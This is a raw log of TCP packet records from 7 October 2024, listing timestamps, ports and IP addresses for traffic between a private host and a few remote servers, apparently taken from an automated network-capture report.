Oct 7, 2024 18:00:15.531488895 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.534826040 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.534858942 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.539992094 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.559160948 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.562257051 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.581010103 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.581079960 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.581213951 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.584151030 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.584207058 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.589749098 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.637367964 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.637398958 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.637516022 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.640667915 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.640748024 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.645993948 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.663638115 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.666754007 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.681102037 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.681932926 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.682010889 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.685276985 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.685384989 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.690433025 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.736615896 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.736628056 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.736756086 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.740349054 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.740591049 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.745558977 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.763746023 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.767724991 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.778491020 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.778704882 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.778796911 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.781784058 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.781949997 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.787039995 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.849044085 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.849119902 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.849201918 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.852237940 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.852430105 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.858191013 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.870847940 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.874346018 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.878184080 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.878200054 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.878340006 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.879118919 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.881160021 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.881460905 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.886437893 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.930280924 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.944721937 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.944750071 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.944834948 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.948086023 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.948141098 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.953366041 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.969623089 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.973109007 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.974853992 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.974931002 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.974962950 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.975017071 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.978001118 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.978199005 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.983937979 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.046510935 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.046730995 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.046802998 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.051259995 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.052020073 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.056988001 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.077971935 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.078491926 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.078522921 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.078597069 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.082865953 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.082911015 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.114898920 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.130337000 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:16.133526087 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.307569981 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:16.313838005 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:16.438872099 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:16.626823902 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:17.048603058 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.215262890 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.215323925 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.215363979 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.215435028 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.215450048 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.215471983 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.215497971 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.215512037 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.215564966 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.215657949 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.217623949 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.218291044 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.220331907 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.222035885 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.223519087 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.225127935 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.228331089 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.228945971 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.491760969 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.491789103 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.493248940 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.493284941 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.493320942 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.493351936 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.493403912 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.493403912 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.495289087 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.495733023 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.495789051 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.496236086 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.496264935 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.724015951 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.727195024 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.732198954 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.796654940 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.796708107 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.796746016 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.796802998 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.797924995 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.801377058 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.801610947 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.801635981 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.806777954 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.806812048 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.806840897 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.823657036 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.876411915 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.879733086 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.893372059 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.893500090 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.893676996 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.938884020 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:17.957359076 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.957439899 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:17.957514048 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.119280100 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.119894028 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.120992899 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.121324062 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.121999025 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.125009060 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.126235962 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.170238972 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.212665081 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.218395948 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.218432903 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.218502045 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.220458984 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.220494032 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.220547915 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.223934889 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.228976965 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.241527081 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.245064974 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.245822906 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.246175051 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.247000933 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.251192093 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.251843929 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.252125978 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.346872091 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.353851080 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.358304024 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.358356953 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.358608961 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.358654976 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.359102011 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.365641117 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.365925074 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.365984917 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.369589090 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.375041008 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.375941992 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.377077103 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.380013943 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.382302046 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.448482990 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.456887007 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.462939978 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.466432095 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.469583988 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.469599962 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.469652891 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.469676018 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.498682976 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.499222040 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.503542900 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.544760942 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.552762985 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.552829027 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.577490091 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.581569910 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.586724997 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.590349913 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.595218897 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.595237970 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.595283031 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.642018080 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.648056030 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.648989916 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.652409077 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.653918982 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.678865910 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.678884983 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.678985119 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.685769081 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.686635971 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.692018986 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.740457058 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.743560076 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.743633986 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.743650913 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.744441032 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.749458075 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.750125885 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.754535913 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.779525042 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.779537916 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.779611111 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.786495924 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.786542892 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.791474104 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.837393999 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.841339111 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.843859911 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.843931913 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.844036102 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.844093084 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.849596024 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.853008986 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.854778051 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.877505064 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.877696037 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.877770901 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.895329952 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.898876905 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.903806925 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.937988043 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.941096067 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.941178083 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.961034060 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.986747980 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.986836910 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.987586975 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.993249893 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.994393110 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.994539976 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:18.998261929 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:18.999538898 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.028420925 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.031131029 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.082129955 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.108244896 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.108300924 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.108316898 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.108359098 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.122313023 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.122490883 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.124591112 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.124651909 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.127290010 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.127429962 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.128256083 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.130374908 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.133117914 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.135253906 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.169281006 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.197596073 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.215929031 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.216177940 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.216239929 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.221545935 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.221564054 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.221623898 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.299025059 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.324225903 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.356950998 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.361835957 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.385315895 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.406586885 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.411513090 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.414556980 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.425615072 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.437676907 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.443370104 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.474064112 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.494268894 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.494395018 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.513571024 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.525975943 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.526050091 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.577543020 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.626400948 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.822537899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:19.827394962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:19.827508926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:19.840536118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:19.845377922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:19.880425930 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.880595922 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.882411957 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.885436058 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.930315971 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.970993996 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.973637104 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.973653078 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.973748922 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.993257999 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.993993044 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:19.998488903 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:19.998938084 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.024157047 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.030139923 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.038353920 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.038428068 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.043908119 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.044272900 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.103961945 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.107064009 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:20.112217903 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.113388062 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:20.113723993 CEST	443	49716	13.107.246.45	192.168.2.6
